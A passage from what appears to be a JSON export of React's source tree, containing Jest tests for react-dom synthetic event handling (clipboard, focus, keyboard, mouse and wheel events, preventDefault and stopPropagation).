ReactDOMClient.createRoot(container);\n              await act(() => {\n                root.render(<Test />);\n              });\n\n              const buttonElement = buttonRef.current;\n              dispatchClickEvent(buttonElement);\n\n              expect(innerOnClick).toHaveBeenCalledTimes(1);\n              expect(outerOnClick).toHaveBeenCalledTimes(1);\n            });\n\n            // @gate www\n            it('handle stopPropagation (inner and outer) correctly between scopes', async () => {\n              const buttonRef = React.createRef();\n              const onClick = jest.fn(e => e.stopPropagation());\n              const TestScope = React.unstable_Scope;\n              const TestScope2 = React.unstable_Scope;\n              const setClick = ReactDOM.unstable_createEventHandle('click');\n\n              function Test() {\n                const scopeRef = React.useRef(null);\n                const scope2Ref = React.useRef(null);\n\n                React.useEffect(() => {\n                  const clear1 = setClick(scopeRef.current, onClick);\n                  const clear2 = setClick(scope2Ref.current, onClick);\n\n                  return () => {\n                    clear1();\n                    clear2();\n                  };\n                });\n\n                return (\n                  <TestScope ref={scopeRef}>\n                    <TestScope2 ref={scope2Ref}>\n                      <button ref={buttonRef} />\n                    </TestScope2>\n                  </TestScope>\n                );\n              }\n\n              const root = ReactDOMClient.createRoot(container);\n              await act(() => {\n                root.render(<Test />);\n              });\n\n              const buttonElement = buttonRef.current;\n              dispatchClickEvent(buttonElement);\n\n              expect(onClick).toHaveBeenCalledTimes(1);\n            });\n\n            // @gate www\n            it('should be able to register handlers for events affected by the intervention', async () => {\n              const rootContainer = document.createElement('div');\n              container.appendChild(rootContainer);\n\n              const allEvents = [];\n              const defaultPreventedEvents = [];\n              const handler = e => {\n                allEvents.push(e.type);\n                if (e.defaultPrevented) defaultPreventedEvents.push(e.type);\n              };\n\n              container.addEventListener('touchstart', handler);\n              container.addEventListener('touchmove', handler);\n              container.addEventListener('wheel', handler);\n\n              const ref = React.createRef();\n              const setTouchStart =\n                ReactDOM.unstable_createEventHandle('touchstart');\n              const setTouchMove =\n                ReactDOM.unstable_createEventHandle('touchmove');\n              const setWheel = ReactDOM.unstable_createEventHandle('wheel');\n\n              function Component() {\n                React.useEffect(() => {\n                  const clearTouchStart = setTouchStart(ref.current, e =>\n                    e.preventDefault(),\n                  );\n                  const clearTouchMove = setTouchMove(ref.current, e =>\n                    e.preventDefault(),\n                  );\n                  const clearWheel = setWheel(ref.current, e =>\n                    e.preventDefault(),\n                  );\n                  return () => {\n                    clearTouchStart();\n                    clearTouchMove();\n                    clearWheel();\n                  };\n                });\n                return <div ref={ref}>test</div>;\n              }\n\n              const root = ReactDOMClient.createRoot(rootContainer);\n              await act(() => {\n                root.render(<Component />);\n              });\n\n              dispatchEvent(ref.current, 'touchstart');\n              dispatchEvent(ref.current, 'touchmove');\n              dispatchEvent(ref.current, 'wheel');\n\n              expect(allEvents).toEqual(['touchstart', 'touchmove', 'wheel']);\n              // These events are passive by default, so we can't preventDefault.\n              expect(defaultPreventedEvents).toEqual([]);\n            });\n          });\n        });\n      },\n    );\n  }\n\n  withEnableLegacyFBSupport(false);\n  withEnableLegacyFBSupport(true);\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/__tests__/SyntheticClipboardEvent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('SyntheticClipboardEvent', () => {\n  let container;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    // The container has to be attached for events to fire.\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  describe('ClipboardEvent interface', () => {\n    describe('clipboardData', () => {\n      describe('when event has clipboardData', () => {\n        it(\"returns event's clipboardData\", async () => {\n          let expectedCount = 0;\n\n          // Mock clipboardData since jsdom implementation doesn't have a constructor\n          const clipboardData = {\n            dropEffect: null,\n            effectAllowed: null,\n            files: null,\n            items: null,\n            types: null,\n          };\n          const eventHandler = event => {\n            expect(event.clipboardData).toBe(clipboardData);\n            expectedCount++;\n          };\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(\n              <div\n                onCopy={eventHandler}\n                onCut={eventHandler}\n                onPaste={eventHandler}\n              />,\n            );\n          });\n\n          const div = container.firstChild;\n\n          let event;\n          event = document.createEvent('Event');\n          event.initEvent('copy', true, true);\n          event.clipboardData = clipboardData;\n          await act(() => {\n            div.dispatchEvent(event);\n          });\n          event = document.createEvent('Event');\n          event.initEvent('cut', true, true);\n          event.clipboardData = clipboardData;\n          await act(() => {\n            div.dispatchEvent(event);\n          });\n\n          event = document.createEvent('Event');\n          event.initEvent('paste', true, true);\n          event.clipboardData = clipboardData;\n          await act(() => {\n            div.dispatchEvent(event);\n          });\n\n          expect(expectedCount).toBe(3);\n        });\n      });\n    });\n  });\n\n  describe('EventInterface', () => {\n    it('is able to `preventDefault` and `stopPropagation`', async () => {\n      let expectedCount = 0;\n\n      const eventHandler = event => {\n        expect(event.isDefaultPrevented()).toBe(false);\n        event.preventDefault();\n        expect(event.isDefaultPrevented()).toBe(true);\n        expect(event.isPropagationStopped()).toBe(false);\n        event.stopPropagation();\n        expect(event.isPropagationStopped()).toBe(true);\n        expectedCount++;\n      };\n\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <div\n            onCopy={eventHandler}\n            onCut={eventHandler}\n            onPaste={eventHandler}\n          />,\n        );\n      });\n\n      const div = container.firstChild;\n\n      let event;\n      event = document.createEvent('Event');\n      event.initEvent('copy', true, true);\n      div.dispatchEvent(event);\n\n      event = document.createEvent('Event');\n      event.initEvent('cut', true, true);\n      div.dispatchEvent(event);\n\n      event = document.createEvent('Event');\n      event.initEvent('paste', true, true);\n      div.dispatchEvent(event);\n\n      expect(expectedCount).toBe(3);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/__tests__/SyntheticEvent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('SyntheticEvent', () => {\n  let container;\n  let root;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('should be able to `preventDefault`', async () => {\n    let expectedCount = 0;\n\n    const eventHandler = syntheticEvent => {\n      expect(syntheticEvent.isDefaultPrevented()).toBe(false);\n      syntheticEvent.preventDefault();\n      expect(syntheticEvent.isDefaultPrevented()).toBe(true);\n      expect(syntheticEvent.defaultPrevented).toBe(true);\n\n      expectedCount++;\n    };\n    const nodeRef = React.createRef();\n    await act(async () => {\n      root.render(<div onClick={eventHandler} ref={nodeRef} />);\n    });\n    const node = nodeRef.current;\n\n    const event = document.createEvent('Event');\n    event.initEvent('click', true, true);\n    node.dispatchEvent(event);\n\n    expect(expectedCount).toBe(1);\n  });\n\n  it('should be prevented if nativeEvent is prevented', async () => {\n    let expectedCount = 0;\n\n    const eventHandler = syntheticEvent => {\n      expect(syntheticEvent.isDefaultPrevented()).toBe(true);\n\n      expectedCount++;\n    };\n    const nodeRef = React.createRef();\n    await act(async () => {\n      root.render(<div onClick={eventHandler} ref={nodeRef} />);\n    });\n    const node = nodeRef.current;\n\n    let event;\n    event = document.createEvent('Event');\n    event.initEvent('click', true, true);\n    event.preventDefault();\n    node.dispatchEvent(event);\n\n    event = document.createEvent('Event');\n    event.initEvent('click', true, true);\n    // Emulate IE8\n    Object.defineProperty(event, 'defaultPrevented', {\n      get() {},\n    });\n    Object.defineProperty(event, 'returnValue', {\n      get() {\n        return false;\n      },\n    });\n    node.dispatchEvent(event);\n\n    expect(expectedCount).toBe(2);\n  });\n\n  it('should be able to `stopPropagation`', async () => {\n    let expectedCount = 0;\n\n    const eventHandler = syntheticEvent => {\n      expect(syntheticEvent.isPropagationStopped()).toBe(false);\n      syntheticEvent.stopPropagation();\n      expect(syntheticEvent.isPropagationStopped()).toBe(true);\n\n      expectedCount++;\n    };\n    const nodeRef = React.createRef();\n    await act(async () => {\n      root.render(<div onClick={eventHandler} ref={nodeRef} />);\n    });\n    const node = nodeRef.current;\n\n    const event = document.createEvent('Event');\n    event.initEvent('click', true, true);\n    node.dispatchEvent(event);\n\n    expect(expectedCount).toBe(1);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/__tests__/SyntheticFocusEvent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\ndescribe('SyntheticFocusEvent', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('onFocus events have the focus type', async () => {\n    const log = [];\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <button\n          onFocus={event => log.push(`onFocus: ${event.type}`)}\n          onFocusCapture={event => log.push(`onFocusCapture: ${event.type}`)}\n        />,\n      );\n    });\n\n    const button = container.querySelector('button');\n\n    await act(() => {\n      button.dispatchEvent(\n        new FocusEvent('focusin', {\n          bubbles: true,\n          cancelable: false,\n        }),\n      );\n    });\n\n    expect(log).toEqual(['onFocusCapture: focus', 'onFocus: focus']);\n  });\n\n  it('onBlur events have the blur type', async () => {\n    const log = [];\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <button\n          onBlur={event => log.push(`onBlur: ${event.type}`)}\n          onBlurCapture={event => log.push(`onBlurCapture: ${event.type}`)}\n        />,\n      );\n    });\n\n    const button = container.querySelector('button');\n\n    await act(() => {\n      button.dispatchEvent(\n        new FocusEvent('focusout', {\n          bubbles: true,\n          cancelable: false,\n        }),\n      );\n    });\n\n    expect(log).toEqual(['onBlurCapture: blur', 'onBlur: blur']);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/__tests__/SyntheticKeyboardEvent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\n\nlet act;\n\ndescribe('SyntheticKeyboardEvent', () => {\n  let container;\n  let root;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n\n    act = require('internal-test-utils').act;\n\n    // The container has to be attached for events to fire.\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    document.body.appendChild(container);\n  });\n\n  afterEach(async () => {\n    await act(() => {\n      root.unmount();\n    });\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  describe('KeyboardEvent interface', () => {\n    describe('charCode', () => {\n      describe('when event is `keypress`', () => {\n        describe('when charCode is present in nativeEvent', () => {\n          it('when charCode is 0 and keyCode is 13, returns 13', async () => {\n            let charCode = null;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={e => {\n                    charCode = e.charCode;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                charCode: 0,\n                keyCode: 13,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(charCode).toBe(13);\n          });\n\n          it('when charCode is 32 or bigger and keyCode is missing, returns charCode', async () => {\n            let charCode = null;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={e => {\n                    charCode = e.charCode;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                charCode: 32,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(charCode).toBe(32);\n          });\n\n          it('when charCode is 13 and keyCode is missing, returns charCode', async () => {\n            let charCode = null;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={e => {\n                    charCode = e.charCode;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                charCode: 13,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(charCode).toBe(13);\n          });\n\n          // Firefox creates a keypress event for function keys too. This removes\n          // the unwanted keypress events. Enter is however both printable and\n          // non-printable. One would expect Tab to be as well (but it isn't).\n          it('when charCode is smaller than 32 but is not 13, and keyCode is missing, ignores keypress', async () => {\n            let called = false;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={() => {\n                    called = true;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                charCode: 31,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(called).toBe(false);\n          });\n\n          it('when charCode is 10, returns 13', async () => {\n            let charCode = null;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={e => {\n                    charCode = e.charCode;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                charCode: 10,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(charCode).toBe(13);\n          });\n\n          it('when charCode is 10 and ctrl is pressed, returns 13', async () => {\n            let charCode = null;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={e => {\n                    charCode = e.charCode;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                charCode: 10,\n                ctrlKey: true,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(charCode).toBe(13);\n          });\n        });\n\n        // TODO: this seems IE8 specific.\n        // We can probably remove this normalization.\n        describe('when charCode is not present in nativeEvent', () => {\n          let charCodeDescriptor;\n\n          beforeEach(() => {\n            charCodeDescriptor = Object.getOwnPropertyDescriptor(\n              KeyboardEvent.prototype,\n              'charCode',\n            );\n            delete KeyboardEvent.prototype.charCode;\n          });\n\n          afterEach(() => {\n            // Don't forget to restore for other tests.\n            Object.defineProperty(\n              KeyboardEvent.prototype,\n              'charCode',\n              charCodeDescriptor,\n            );\n            charCodeDescriptor = null;\n          });\n\n          it('when keyCode is 32 or bigger, returns keyCode', async () => {\n            let charCode = null;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={e => {\n                    charCode = e.charCode;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                keyCode: 32,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(charCode).toBe(32);\n          });\n\n          it('when keyCode is 13, returns 13', async () => {\n            let charCode = null;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={e => {\n                    charCode = e.charCode;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                keyCode: 13,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(charCode).toBe(13);\n          });\n\n          it('when keyCode is smaller than 32 and is not 13, ignores keypress', async () => {\n            let called = false;\n            await act(() => {\n              root.render(\n                <input\n                  onKeyPress={e => {\n                    called = true;\n                  }}\n                />,\n              );\n            });\n            container.firstChild.dispatchEvent(\n              new KeyboardEvent('keypress', {\n                keyCode: 31,\n                bubbles: true,\n                cancelable: true,\n              }),\n            );\n            expect(called).toBe(false);\n          });\n        });\n      });\n\n      describe('when event is not `keypress`', () => {\n        it('returns 0', async () => {\n          let charCodeDown = null;\n          let charCodeUp = null;\n          await act(() => {\n            root.render(\n              <input\n                onKeyDown={e => {\n                  charCodeDown = e.charCode;\n                }}\n                onKeyUp={e => {\n                  charCodeUp = e.charCode;\n                }}\n              />,\n            );\n          });\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keydown', {\n              key: 'Del',\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keyup', {\n              key: 'Del',\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          expect(charCodeDown).toBe(0);\n          expect(charCodeUp).toBe(0);\n        });\n      });\n\n      it('when charCode is smaller than 32 but is not 13, and keyCode is missing, charCode is 0', async () => {\n        let charCode = null;\n        await act(() => {\n          root.render(\n            <input\n              onKeyDown={e => {\n                charCode = e.charCode;\n              }}\n            />,\n          );\n        });\n        container.firstChild.dispatchEvent(\n          new KeyboardEvent('keydown', {\n            charCode: 31,\n            bubbles: true,\n            cancelable: true,\n          }),\n        );\n        expect(charCode).toBe(0);\n      });\n    });\n\n    describe('keyCode', () => {\n      describe('when event is `keydown` or `keyup`', () => {\n        it('returns a passed keyCode', async () => {\n          let keyCodeDown = null;\n          let keyCodeUp = null;\n          await act(() => {\n            root.render(\n              <input\n                onKeyDown={e => {\n                  keyCodeDown = e.keyCode;\n                }}\n                onKeyUp={e => {\n                  keyCodeUp = e.keyCode;\n                }}\n              />,\n            );\n          });\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keydown', {\n              keyCode: 40,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keyup', {\n              keyCode: 40,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          expect(keyCodeDown).toBe(40);\n          expect(keyCodeUp).toBe(40);\n        });\n      });\n\n      describe('when event is `keypress`', () => {\n        it('returns 0', async () => {\n          let keyCode = null;\n          await act(() => {\n            root.render(\n              <input\n                onKeyPress={e => {\n                  keyCode = e.keyCode;\n                }}\n              />,\n            );\n          });\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keypress', {\n              charCode: 65,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          expect(keyCode).toBe(0);\n        });\n      });\n    });\n\n    describe('which', () => {\n      describe('when event is `keypress`', () => {\n        it('is consistent with `charCode`', async () => {\n          let calls = 0;\n          await act(() => {\n            root.render(\n              <input\n                onKeyPress={e => {\n                  expect(e.which).toBe(e.charCode);\n                  calls++;\n                }}\n              />,\n            );\n          });\n          // Try different combinations from other tests.\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keypress', {\n              charCode: 0,\n              keyCode: 13,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keypress', {\n              charCode: 32,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keypress', {\n              charCode: 13,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          expect(calls).toBe(3);\n        });\n      });\n\n      describe('when event is `keydown` or `keyup`', () => {\n        it('is consistent with `keyCode`', async () => {\n          let calls = 0;\n          await act(() => {\n            root.render(\n              <input\n                onKeyDown={e => {\n                  expect(e.which).toBe(e.keyCode);\n                  calls++;\n                }}\n                onKeyUp={e => {\n                  expect(e.which).toBe(e.keyCode);\n                  calls++;\n                }}\n              />,\n            );\n          });\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keydown', {\n              key: 'Del',\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keydown', {\n              charCode: 31,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keydown', {\n              keyCode: 40,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keyup', {\n              key: 'Del',\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          container.firstChild.dispatchEvent(\n            new KeyboardEvent('keyup', {\n              keyCode: 40,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n          expect(calls).toBe(5);\n        });\n      });\n    });\n\n    describe('code', () => {\n      it('returns code on `keydown`, `keyup` and `keypress`', async () => {\n        let codeDown = null;\n        let codeUp = null;\n        let codePress = null;\n        await act(() => {\n          root.render(\n            <input\n              onKeyDown={e => {\n                codeDown = e.code;\n              }}\n              onKeyUp={e => {\n                codeUp = e.code;\n              }}\n              onKeyPress={e => {\n                codePress = e.code;\n              }}\n            />,\n          );\n        });\n        container.firstChild.dispatchEvent(\n          new KeyboardEvent('keydown', {\n            code: 'KeyQ',\n            bubbles: true,\n            cancelable: true,\n          }),\n        );\n        container.firstChild.dispatchEvent(\n          new KeyboardEvent('keyup', {\n            code: 'KeyQ',\n            bubbles: true,\n            cancelable: true,\n          }),\n        );\n        container.firstChild.dispatchEvent(\n          new KeyboardEvent('keypress', {\n            code: 'KeyQ',\n            charCode: 113,\n            bubbles: true,\n            cancelable: true,\n          }),\n        );\n        expect(codeDown).toBe('KeyQ');\n        expect(codeUp).toBe('KeyQ');\n        expect(codePress).toBe('KeyQ');\n      });\n    });\n  });\n\n  describe('EventInterface', () => {\n    it('is able to `preventDefault` and `stopPropagation`', async () => {\n      let expectedCount = 0;\n      const eventHandler = event => {\n        expect(event.isDefaultPrevented()).toBe(false);\n        event.preventDefault();\n        expect(event.isDefaultPrevented()).toBe(true);\n\n        expect(event.isPropagationStopped()).toBe(false);\n        event.stopPropagation();\n        expect(event.isPropagationStopped()).toBe(true);\n        expectedCount++;\n      };\n      await act(() => {\n        root.render(\n          <div\n            onKeyDown={eventHandler}\n            onKeyUp={eventHandler}\n            onKeyPress={eventHandler}\n          />,\n        );\n      });\n\n      container.firstChild.dispatchEvent(\n        new KeyboardEvent('keydown', {\n          keyCode: 40,\n          bubbles: true,\n          cancelable: true,\n        }),\n      );\n      container.firstChild.dispatchEvent(\n        new KeyboardEvent('keyup', {\n          keyCode: 40,\n          bubbles: true,\n          cancelable: true,\n        }),\n      );\n      container.firstChild.dispatchEvent(\n        new KeyboardEvent('keypress', {\n          charCode: 40,\n          keyCode: 40,\n          bubbles: true,\n          cancelable: true,\n        }),\n      );\n      expect(expectedCount).toBe(3);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/__tests__/SyntheticMouseEvent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('SyntheticMouseEvent', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    // The container has to be attached for events to fire.\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('should only use values from movementX/Y when event type is mousemove', async () => {\n    const events = [];\n    const onMouseMove = event => {\n      events.push(event.movementX);\n    };\n\n    const onMouseDown = event => {\n      events.push(event.movementX);\n    };\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div onMouseMove={onMouseMove} onMouseDown={onMouseDown} />);\n    });\n    const node = container.firstChild;\n\n    let event = new MouseEvent('mousemove', {\n      relatedTarget: null,\n      bubbles: true,\n      screenX: 2,\n      screenY: 2,\n    });\n\n    await act(() => {\n      node.dispatchEvent(event);\n    });\n\n    event = new MouseEvent('mousemove', {\n      relatedTarget: null,\n      bubbles: true,\n      screenX: 8,\n      screenY: 8,\n    });\n\n    await act(() => {\n      node.dispatchEvent(event);\n    });\n\n    // Now trigger a mousedown event to see if movementX has changed back to 0\n    event = new MouseEvent('mousedown', {\n      relatedTarget: null,\n      bubbles: true,\n      screenX: 25,\n      screenY: 65,\n    });\n\n    await act(() => {\n      node.dispatchEvent(event);\n    });\n\n    expect(events.length).toBe(3);\n    expect(events[0]).toBe(0);\n    expect(events[1]).toBe(6);\n    expect(events[2]).toBe(0); // mousedown event should have movementX at 0\n  });\n\n  it('should correctly calculate movementX/Y for capture phase', async () => {\n    const events = [];\n    const onMouseMove = event => {\n      events.push(['move', false, event.movementX, event.movementY]);\n    };\n    const onMouseMoveCapture = event => {\n      events.push(['move', true, event.movementX, event.movementY]);\n    };\n    const onMouseDown = event => {\n      events.push(['down', false, event.movementX, event.movementY]);\n    };\n    const onMouseDownCapture = event => {\n      events.push(['down', true, event.movementX, event.movementY]);\n    };\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div\n          onMouseMove={onMouseMove}\n          onMouseMoveCapture={onMouseMoveCapture}\n          onMouseDown={onMouseDown}\n          onMouseDownCapture={onMouseDownCapture}\n        />,\n      );\n    });\n    const node = container.firstChild;\n\n    let event = new MouseEvent('mousemove', {\n      relatedTarget: null,\n      bubbles: true,\n      screenX: 2,\n      screenY: 2,\n    });\n\n    await act(() => {\n      node.dispatchEvent(event);\n    });\n\n    event = new MouseEvent('mousemove', {\n      relatedTarget: null,\n      bubbles: true,\n      screenX: 8,\n      screenY: 9,\n    });\n\n    await act(() => {\n      node.dispatchEvent(event);\n    });\n\n    // Now trigger a mousedown event to see if movementX has changed back to 0\n    event = new MouseEvent('mousedown', {\n      relatedTarget: null,\n      bubbles: true,\n      screenX: 25,\n      screenY: 65,\n    });\n\n    await act(() => {\n      node.dispatchEvent(event);\n    });\n\n    expect(events).toEqual([\n      ['move', true, 0, 0],\n      ['move', false, 0, 0],\n      ['move', true, 6, 7],\n      ['move', false, 6, 7],\n      ['down', true, 0, 0],\n      ['down', false, 0, 0],\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/__tests__/SyntheticWheelEvent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('SyntheticWheelEvent', () => {\n  let container;\n  let root;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n\n    // The container has to be attached for events to fire.\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    root = ReactDOMClient.createRoot(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('should normalize properties from the MouseEvent interface', async () => {\n    const events = [];\n    const onWheel = event => {\n      event.persist();\n      events.push(event);\n    };\n    await act(async () => {\n      root.render(<div onWheel={onWheel} />);\n    });\n\n    container.firstChild.dispatchEvent(\n      new MouseEvent('wheel', {\n        bubbles: true,\n        button: 1,\n      }),\n    );\n\n    expect(events.length).toBe(1);\n    expect(events[0].button).toBe(1);\n  });\n\n  it('should normalize properties from the WheelEvent interface', async () => {\n    const events = [];\n    const onWheel = event => {\n      event.persist();\n      events.push(event);\n    };\n\n    await act(async () => {\n      root.render(<div onWheel={onWheel} />);\n    });\n\n    let event = new WheelEvent('wheel', {\n      bubbles: true,\n      deltaX: 10,\n      deltaY: -50,\n    });\n    container.firstChild.dispatchEvent(event);\n\n    event = new MouseEvent('wheel', {\n      bubbles: true,\n    });\n    // jsdom doesn't support these legacy Webkit properties so we add them manually.\n    Object.assign(event, {\n      wheelDeltaX: -10,\n      wheelDeltaY: 50,\n    });\n    container.firstChild.dispatchEvent(event);\n\n    expect(events.length).toBe(2);\n    expect(events[0].deltaX).toBe(10);\n    expect(events[0].deltaY).toBe(-50);\n    expect(events[1].deltaX).toBe(10);\n    expect(events[1].deltaY).toBe(-50);\n  });\n\n  it('should be able to `preventDefault` and `stopPropagation`', async () => {\n    const events = [];\n    const onWheel = event => {\n      expect(event.isDefaultPrevented()).toBe(false);\n      event.preventDefault();\n      expect(event.isDefaultPrevented()).toBe(true);\n      event.persist();\n      events.push(event);\n    };\n    await act(async () => {\n      root.render(<div onWheel={onWheel} />);\n    });\n\n    container.firstChild.dispatchEvent(\n      new WheelEvent('wheel', {\n        bubbles: true,\n        deltaX: 10,\n        deltaY: -50,\n      }),\n    );\n\n    container.firstChild.dispatchEvent(\n      new WheelEvent('wheel', {\n        bubbles: true,\n        deltaX: 10,\n        deltaY: -50,\n      }),\n    );\n\n    expect(events.length).toBe(2);\n    expect.assertions(5);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/__tests__/getEventKey-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\n\nlet act;\n\ndescribe('getEventKey', () => {\n  let container;\n  let root;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n\n    act = require('internal-test-utils').act;\n\n    // The container has to be attached for events to fire.\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n    root = null;\n  });\n\n  describe('when key is implemented in a browser', () => {\n    describe('when key is not normalized', () => {\n      it('returns a normalized value', async () => {\n        let key = null;\n        class Comp extends React.Component {\n          render() {\n            return <input onKeyDown={e => (key = e.key)} />;\n          }\n        }\n\n        await act(() => {\n          root.render(<Comp />);\n        });\n\n        const nativeEvent = new KeyboardEvent('keydown', {\n          key: 'Del',\n          bubbles: true,\n         